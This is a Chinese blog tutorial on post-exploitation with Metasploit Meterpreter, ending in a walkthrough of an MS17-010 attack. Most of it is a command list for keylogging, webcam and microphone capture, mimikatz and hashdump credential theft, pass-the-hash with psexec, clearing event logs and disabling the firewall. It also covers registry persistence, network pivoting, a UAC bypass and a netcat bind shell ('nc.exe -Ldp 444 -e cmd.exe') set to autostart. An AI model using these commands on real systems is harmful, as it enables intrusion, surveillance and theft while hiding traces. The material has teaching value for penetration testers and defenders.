后渗透介绍及运用

一、前言

我们知道前端安全包括了SQL注入,任意文件上传,XSS,CSRF,逻辑漏洞,跨域漏洞等等,我们可以将这些漏洞加以利用或组合来进行getshell的。在这里我们再区分一下getshell和webshell的区别,webshell更多的是获取前端的权限,顾名思义,一般仅限于前端或文件的增删改查;那么getshell则是获取更大的权限。一般的思路为挖掘漏洞,通过漏洞加以组合或利用获取webshell或后台权限,之后再进一步getshell。

二、后渗透之meterpreter

Meterpreter 是Metasploit 框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用, 攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系 统的一个 Meterpreter shell 的链接。
Meterpreter 能够躲避入侵检测系 统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此 HIDS[基于主机的入侵检测系统] 很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有 经验的人也会变得非常困难。

meterpreter常用命令

1.基本命令

help# 查看 Meterpreter 帮助
background#返回,把 meterpreter 后台挂起
bgkill# 杀死一个背景 meterpreter 脚本
bglist#提供所有正在运行的后台脚本的列表
bgrun#作为一个后台线程运行脚本
channel#显示活动频道
sessions -i number # 与会话进行交互,number 表示第 n 个 session,使用 session -i 连接 到指定序号的 meterpreter 会话已继续利用
sessions -k number #与会话进行交互
sessions -j #
close# 关闭通道
exit# 终止 meterpreter 会话
quit# 终止 meterpreter 会话
interact id #切换进一个信道
run#执行一个已有的模块,这里要说的是输入 run 后按两下 tab,会列出所有的已有的脚本, 常用的有 autoroute,hashdump,arp_scanner,multi_meter_inject 等
irb# 进入 Ruby 脚本模式
read# 从通道读取数据
write# 将数据写入到一个通道
run 和 bgrun# 前台和后台执行以后它选定的 meterpreter 脚本
use# 加载 meterpreter 的扩展
load/use#加载模块
Resource#执行一个已有的 rc 脚本

2.文件系统命令

cat c:\boot.ini#查看文件内容,文件必须存在
del c:\boot.ini #删除指定的文件
upload /root/Desktop/netcat.exe c:\ # 上传文件到目标机主上,如 upload setup.exe C:\windows\system32\
download nimeia.txt /root/Desktop/ # 下载文件到本机上如:download C:\boot.ini /root/或者 download C:\“ProgramFiles”\Tencent\QQ\Users\295****125\Msg2.0.db /root/
edit c:\boot.ini # 编辑文件
getlwd#打印本地目录
getwd#打印工作目录
lcd#更改本地目录
ls#列出在当前目录中的文件列表
lpwd#打印本地目录
pwd#输出工作目录
cd c:\ #进入目录文件下
rm file #删除文件
mkdir dir #在受害者系统上的创建目录
rmdir#受害者系统上删除目录
dir #列出目标主机的文件和文件夹信息
mv#修改目标主机上的文件名
search -d d:\www -f web.config #search 文件,如 search -d c:\ -f
.doc meterpreter > search -f autoexec.bat #搜索文件
meterpreter > search -f sea
.bat c:\xamp\ enumdesktops #用户登录数
execute # 目标主机上执行一个命令

3.网络命令

ipconfig/ifconfig #显示网络接口的关键信息,包括 IP 地址
portfwd add -l 4444 -p 3389 -r 192.168.1.102 # 端口转发,本机监听 4444,把目标机 3389 转 到本机 4444
netstat -an | grep“4444" #查看指定端口开放情况
rdesktop -u Administrator -p p@ssw0rd 127.0.0.1:4444 #使用 rdesktop 来连接 桌面,-u 用户名 -p 密码
rdesktop 127.1.1.0:4444 #需要输入用户名和密码远程连接
route#查看或修改受害者路由表
route add 192.168.1.0 255.255.255.0 1 #添加动态路由
route print #路由表输出
runget_local_subnets #目标主机的内网 IP 段情况
Arp #看 ARP 缓冲表
Getproxy #获取代

4.键盘监听

Meterpreter 还可以在目标设备上实现键盘记录功能,键盘记录主要涉及以下三种命令:
keyscan_start:开启键盘记录功能
keyscan_dump:显示捕捉到的键盘记录信息
keyscan_stop:停止键盘记录功能
uictl enable keyboard/mouse#接管目标主机的键盘和鼠标。
meterpreter > keyscan_start #针对远程目标主机开启键盘记录功能
meterpreter > keyscan_dump #存储目标主机上捕获的键盘记录
meterpreter > keyscan_stop #停止针对目标主机的键盘记录

5.系统命令

reboot#重新启动受害人的计算机
reg #与受害人的注册表进行交互
rev2self#回到控制目标主机的初始用户账户下
shell#获得控制台权限 shutdown#关闭了受害者的计算机
sysinfo # 查看目标机系统信息,如机器名,操作系统等
getgui #(创建一个用户,客户端化)
run getgui –h #查看帮助
run getgui –e #开启远程桌面
run getgui -u Star_Cheng -p 123321 #添加用户
run getgui -f 4446 –e #3389 端口转发到 4446
shell 命令 获取目标主机的远程命令行 shell,如果出错,考虑是目标主机限制了 cmd.exe 的访问权,可以使用 migrate 注入到管理员用户进程中再尝试

6.mimikatz

meterpreter > load mimikatz #加载 mimikatz
meterpreter > msv #获取 hash 值
meterpreter > kerberos #获取明文
meterpreter >ssp #获取明文信息
meterpreter > wdigest #获取系统账户信息
meterpreter >mimikatz_command -f a:: #必须要以错误的模块来让正确的模块显示
meterpreter >mimikatz_command -f hash:: #获取目标 hash
meterpreter > mimikatz_command -f samdump::hashes
meterpreter > mimikatz_command -f sekurlsa::searchPasswords

7.网络嗅探

meterpreter > use sniffer # 加载嗅探模块
meterpreter > sniffer_dump 2 /tmp/test2.cap #在目标主机上针对特定范围的数据包缓冲区启动 嗅探
meterpreter > sniffer_stop 2 #停止嗅探

8.获取敏感信息

run post/windows/gather/checkvm #是否虚拟机
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks #获取最近的文件操作
run post/windows/gather/enum_ie #获取 IE 缓存
run post/windows/gather/enum_chrome #获取 Chrome 缓存
run scraper #获取常见信息 #保存在~/.msf4/logs/scripts/scraper/目录下

9.获取 Hash

使用“hashdump”命令可以从系统提取用户名和密码 hashes。使用 hashdump 命令可以获取目标主 机的 SAM 文件,获取目标主机的账号密码 hash 信息,剩下的可以用爆破软件算出明文密
meterpreter > run post/windows/gather/smart_hashdump
run post/windows/gather/hashdump

10.通过 Hash 获取权限

msf > use exploit/windows/smb/psexec
msf exploit(psexec) > show options
msf exploit(psexec) > set RHOST 192.168.0.254
RHOST => 192.168.0.254
msf exploit(psexec) > set SMBUser isosky SMBUser => isosky
msf exploit(psexec) > set SMBPass 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537 SMBPass => 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537
msf exploit(psexec) > exploit

11.捕捉屏幕

meterpreter > screenshot

12.得到远程桌面

run vnc

13.权限提升

提权大体有以下几种方法: ·
使用 getsystem 提升权限
·利用本地漏洞 ·
假冒令牌 ·绕过 Windows 账户控制(UAC) ·
HASH
(具体方法百度吧,我懒得写了0.0 或者看以后有空再更新一下)

14.清除事件日志

执行“clearev”命令,将清除事件日志。这个命令没有任何选项或参数。 执行“clearev”命令后打开目标机器的事件查看器里面的应用程序、安全性、系统都是是空的。(注意这个操作应该需要提权才能成功,我就是没提权,然后一直清楚不来,然后一提权,一下就搞定了)

15.网络摄像头

record_mic #音频录制
webcam_chat #查看摄像头接口
webcam_list #查看摄像头列表
webcam_stream #摄像头视频获取

16. 通过shell 来关闭防火墙

netsh advfirewall set allprofiles state off

三、利用ms17-010漏洞进行后渗透攻击

1、添加后门(持续攻击APT)及清除日志

首先利用漏洞ms17-010渗透进入,拿到meterpreter。过程简单不再赘述。
在这里插入图片描述
在 Meterpreter 会 话 中 运 行 persistence 后 渗 透 攻 击 模 块 , 在 目 标 主 机 的 注 册 表 键 KHLM\Software\Microsoft\windows\Currentversion\Run 中添加键值达到自启动的目的;-X 参数 指定启动的方式为开机自启动;-i 参数指定反向连接的时间间隔;然后建立 Meterpreter 的客户 端,-p 参数指定回连的 443 端口进行监听;-r 参数指定回连的主机(攻击机)
在这里插入图片描述
选择 exploit/multi/handler 模块,并选择 Meterpreter 回连会话的攻击载荷,执行 exploit 命令将开启监听,等目标主机重启之后,会通过注册表项中的自启动键设置启动 Meterpreter 攻击载 荷,成功建立反向连接。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
我们通过远程入侵主机,会在对方主机日志中留下记录。所以我们需要删除日志信息,清除痕迹。输入clearev 清除日志(注意删除日志首先需要提权操作)
在这里插入图片描述
如图成功删除日志在这里插入图片描述

2、以win7为靶机做跳板,进行其他网段信息收集ms17-010漏洞进行攻击

首先查看已拿下主机的内网ip段情况 run get_local_subnets
然后添加去往目标内网网段(172.16.16.0/24)的静态路由
在这里插入图片描述
使用run autoroute –s 172.16.16.0/24添加路由(这一步忘截图了0.0)
run autoroute –p查看是否添加成功。
在这里插入图片描述

设置好路由后对内网进行扫描,扫描内网中打开3389端口的主机,发现有4个
在这里插入图片描述
然后对内网主机进行扫描,查看是否存在 ms17_010 漏洞,绿色的表示可能存在该漏洞
在这里插入图片描述
在这里插入图片描述
接着进行进一步攻击,设置好相应的攻击模块,攻击载荷以及参数
在这里插入图片描述
入侵成功并创建会话,进入到了meterpreter
在这里插入图片描述

3、把netcat(瑞士军刀)的nc.exe_上传到目标机_上,然后设置开机运行(需要在注册表中设置)

上传nc 到目标机

upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 

在这里插入图片描述
枚举注册表内容(开机启动)

reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run 

在这里插入图片描述
在该注册表增加内容(开机启动)

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d “C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe”

在这里插入图片描述
查看内容是否增加成功:

 reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc 

在这里插入图片描述

附:其中一个提权操作

进入目标主机一般是一个比较低级的权限,我们需要通过提权获取一个管理员权限。一般通过getsystem命令会失败。所以我们这儿换一种方法。我们首先查看最初的权限为中等普通权限

在这里插入图片描述
然后回到控制台,将当前会话放到后台。 命令:background 如图显示放在会话2
在这里插入图片描述
然后换个一个攻击模块。这里用这个,windows/local/bypassuac 这里local是本地的意思,bypass是绕过的意思,然后uac是用来控制windows用户权限的。所以这里的意思就是绕过uac机制进行提权。
设置好后回到会话2 然后开始攻击
在这里插入图片描述
可以看到,我们已经拿到一个高的权限了

在这里插入图片描述

仅供学习参考,切勿恶意用途!

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值